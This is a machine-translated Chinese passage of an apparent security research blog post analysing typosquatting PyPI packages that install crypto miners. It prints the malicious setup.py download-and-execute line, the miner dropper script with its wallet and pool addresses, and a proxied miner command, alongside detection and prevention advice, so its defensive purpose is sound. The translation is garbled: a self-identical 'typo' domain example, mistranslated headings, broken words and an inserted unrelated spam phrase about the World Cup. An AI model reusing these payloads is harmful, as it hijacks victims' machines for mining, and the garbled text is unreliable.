开发人员受到攻击-利用Typosquatting进行加密挖掘

评审人员:
- Shachar Menashe,安全研究高级主管
- 伊泰·瓦克宁,威胁情报研究员
现代软件开发过程的复杂性及其对大型社区维护的代码库的依赖,为开发人员引入了无意中将恶意代码包含到项目中的风险。其影响可能很严重:在许多情况下,这可能意味着攻击者完全接管已开发的程序或设备。
攻击者试图以多种方式生成这种场景,其中包括试图将恶意或易受攻击的代码引入开源项目,并使用Typosquatting -将恶意代码添加到软件存储库中,如PyPI而且npm在可能错误地包含在项目中的名称下(例如拼写错误的合法软件包名称)。
在这篇博客文章中,我们介绍了我们自己在Sonatype的新检测上所做的额外研究,其中一些PyPI包被检测为恶意包,打包了一个加密矿工有效负载Ethereum或Ubiq对于攻击者。
具体而言,我们将:
- 讨论自动检测这些恶意包的其他方法,这些方法可能指示可能的供应链攻击
- 提供一种简单的方法来清除攻击者的包
- 分析一个攻击包的更新版本
- 提供可操作的解决方案,开发人员可以使用这些解决方案来检测和防止机器上的此类攻击
攻击的流程
恶意发布包的排版攻击流程可以归纳为:
- 攻击者在PyPI -中发布了6个恶意包
Maratlib,maratlib1,mplatlib,matplatlib-plus-使用影射流行的印刷方式matplotlib或mplotlablearninglib,mllearnlib-暗含learnlib和mllearn的排版包- 上面的一些包只是代理包,其中包括一个实际的恶意包作为其依赖关系的一部分
- 恶意包下载并执行有效负载shell脚本
- 有效负载shell脚本下载并执行第三方加密矿工,用于挖掘以太坊的T-Rex或用于挖掘Ubiq的ubqminer / PhoenixMiner。资金被转移到几个矿池,包括:
Kryptex 0 x510aec7f266557b7de753231820571b13eb31b57Kryptex 0 xbaef4a87e8a92ad5911bc5b0a2a02ed9867c0124Daggerhashimoto.usa-east.nicehash.comdaggerhashimoto.eu-north.nicehash.com
或者用图表的形式

Typosquatting的简要概述
Typosquatting(排字抢注)是指通过轻微的排字错误获得(或“抢注”)一个流行名字的行为。例如,购买域名“google.com”(而不是合法的“google.com”),希望用户偶尔会键入错误,进入非法域名。这可以进一步用于网络钓鱼和代码注入攻击。这种做法适用于许多不同的资源,如网页、软件包名称,甚至可执行文件名称。2022世界杯阿根廷预选赛赛程在这种情况下,拼写攻击是在PyPI上执行的,同时诱骗任何在使用pip install时拼写错误“matplotlib”包名的开发人员。
Python有效负载- Naïve Typosquatting vs.木马包
在这种攻击的情况下,Python有效负载非常简短和简单-
(摘自maratlib包,0.6版)
#编码:UTF-8 import sys…从setuptools导入设置打印(__import__("subprocess"))。getoutput("cd /tmp && wget https://github.com/nedog123/files/raw/main/aza.sh -O gay.sh && chmod 777 gay.sh && bash gay.sh")) setup(name="maratlib", version="0.6", description=l111_cringe_ (u"ࠧࡤࡷࡰࠫࠃ"),# Obfuscated string packages=[], author_email=l111_cringe_ (u"ࠨࡤࡃࡲࡧࡩ࠰ࡦࡳࡲ࠭ࠄ"),# Obfuscated string zip_safe=False)
由于这是整个Python有效负载,因此使用自动化方法进行检测是基本的,因为“下载并执行”命令(特别是通过子进程使用shell时)是高度恶意的。
以前的一些供应链攻击要隐蔽得多,它们引入了一个“木马库”——这意味着一个库实际上有一些用处,但里面有一小段隐藏的恶意软件代码。例如,在之前的一次攻击中,一个恶意的npm包为控制台提供了丰富多彩的日志功能,以及一个隐藏的凭证窃取器。
Matplatlib-plus -上面的一个轻微变化
的matplatlib-pluspayload与Sonatype文章中研究的maratlib略有不同。从高层次的角度来看,它的操作类似——即从其GitHub存储库下载T-Rex加密矿工并运行它,但有几个不同之处:
该版本使用基于- 23.105.226.116:2016的SOCKS5代理来下载有效载荷和所有T-Rex通信:
./trex -a ethash -o stratum+tcp://daggerhashimoto[.]eu-north[.]nicehash[.]]com:3353 -u 37VqQP17yALTSzrH6MkQaLWuj6LfWFk8WL。Yandex2—代理23[.]105[.]226[.]]116:2016——费用0英镑法郎
此外,这里使用的混淆技术更复杂一些,所有的算术操作都被lambdas取代:

代码还定期连接到这些流行的url之一,可能是为了检查网络连通性:

shell脚本“dropper”
如前所述,Python有效负载将下载并执行一个drop pper脚本。
drop pper是一个特别的shell脚本aza.sh或aza2.sh,这是非常天真的,即使粗略地看一眼也会引起怀疑:
wget https://github.com/nanopool/phoenix-miner/releases/download/4.2c/PhoenixMiner_4.2c_Linux.tar.gz tar xzf PhoenixMiner_4.2c_Linux.tar.gz cd PhoenixMiner_4.2c_Linux chmod +x PhoenixMiner && ./PhoenixMiner -coin ubq -wal 0x510aec7f266557b7de753231820571b13eb31b57/v2de4b8ab4 -pool ubq.kryptex.network:7000…
正如我们所看到的,drop pper只是下载并执行一个加密矿机,在本例中是PhoenixMiner,并将结果发送到一个硬编码的Kryptex钱包。
这里没有做任何混淆的工作,并且这个shell脚本也很容易被检测到,如果仅仅是因为使用了一个著名的加密矿工工具的话。
克服包装的混乱
攻击者使用混淆来保护恶意逻辑不受手动分析和自动静态分析器的伤害。
在最初的文章中,通过找到恶意的“maratlib”包的旧版本来“跳过”混淆,但是正如我们将在这里展示的那样,处理新版本(例如,maratlib 1.0)的混淆也非常简单。
代码一开始可能看起来非常混乱——前400行代码是乱码,包括base64字符串和算术操作

但更仔细的分析表明,大多数变量和操作都是“垃圾代码”,旨在误导人工调查,实际上并没有用于恶意软件的逻辑中。剩下的代码清晰多了,但读起来仍然很有挑战性:

从上图中我们可以看出,攻击者主要基于字符串加密进行混淆。这个函数l1ll1ll11_lol_接受加密字符串作为参数,并返回原始字符串。
通过在解释器中输出函数的输出,可以很容易地扭转这种混淆。例如,可以通过grepping混淆器函数的所有调用并将它们包装为打印(…)然后重新运行在安全的环境中(例如虚拟机):

在通过一个合适的脚本自动化这个任务之后,我们将得到实际的恶意代码,在这种情况下下载并执行一个shell脚本seo.sh:

排版结论-检测和预防
自动检测混淆包
在我们的案例中,由于使用了混淆,JFrog安全研究团队(以前的Vdoo)检测到这些包具有潜在的恶意。具体来说,我们可以看到在maratlib和maratlib1中使用了基于eval的混淆:
使用eval在Python脚本(特别是通过PyPI发布的脚本)中出现的错误会立即引起怀疑,因为:
- 假设eval输入来自外部源(例如网络输入)。在这种情况下,此操作可能是动态代码加载攻击,这意味着掩盖模块的真实代码(混淆),或者作为一个休眠后门,可以加载攻击者稍后发送的恶意有效负载。
- 如果eval输入是静态的(如本例),则此操作可用于混淆
再加上适当的过滤器以避免误报,eval的使用是恶意活动的有力指示器。
自动检测排字攻击
一些有助于这种攻击的属性(从攻击者的角度来看)实际上可以用于攻击者。目标包必须是高度可见的:位于广泛使用的存储库中,并且足够广泛。所选择的拼写错误的名称应该与目标包的名称足够接近,这很容易使用众所周知的度量来量化(Levenshtein或者编辑距离)。因此,即使从非常浅的元数据(包名和使用统计数据)中,通过选择与另一个流行包的编辑距离较短的包,也可以很容易地找到Typosquatting的候选包。使用它作为一阶过滤器,可以研究可疑包的源代码(手动或自动),并寻找恶意行为的其他指标,例如网络接口、加密API的使用或前面提到的任何恶意指标。
开发人员防止排字和依赖项混淆的操作
开发者可以自己动手来避免这类攻击:
- 为了防止Typosquatting -检查所有的Python依赖项,检查所有requirements.txt文件,并将所有依赖项传递给脚本,例如pypi-scan可以识别当前在PyPI上的现有typosquting候选。确保在各种代码库中没有将这些候选项标记为依赖项。
防止依赖项混淆——在构建过程中解决依赖项时,管理存储库查询和工件提取的方式,例如,通过设置排除规则来防止在远程存储库中搜索内部私有工件,或者定义搜索不同存储库以解决依赖项的顺序。详情见我们最近的博客.
用于防止对流行包存储库进行Typosquatting攻击的维护者操作
一些包管理器维护者决定采取更积极的方法来阻止这些攻击,例如,在PyPI上,除了删除恶意包之外,还有一些用户故意保留“容易排字”的名称,这样它们就不会被恶意使用(例如用户htdge已经为几个包这样做了)。
npm维护者自己扮演着积极的角色,并在描述下保留了数千个包。安检包”。
附录-国际石油公司
Python包:
- maratlib
- maratlib1
- mplatlib
- matplatlib-plus
- learninglib
- mllearnlib
“诱导多能性”:
- 23.105.226.116 (SOCKS5 proxy)
域:
- (地层矿池)
- daggerhashimoto。eu-north.nicehash.com(地层矿池)
问题吗?想法吗?如有任何问题,请通过research@m.si-fil.com与我们联系安全漏洞.
除了发现和负责任地披露漏洞作为我们日常活动的一部分外,JFrog安全研究团队还致力于增强软件安全性,使组织能够通过自动化安全分析发现漏洞。有关JFrog DevOps平台安全特性的更多信息和更新-点击这里.
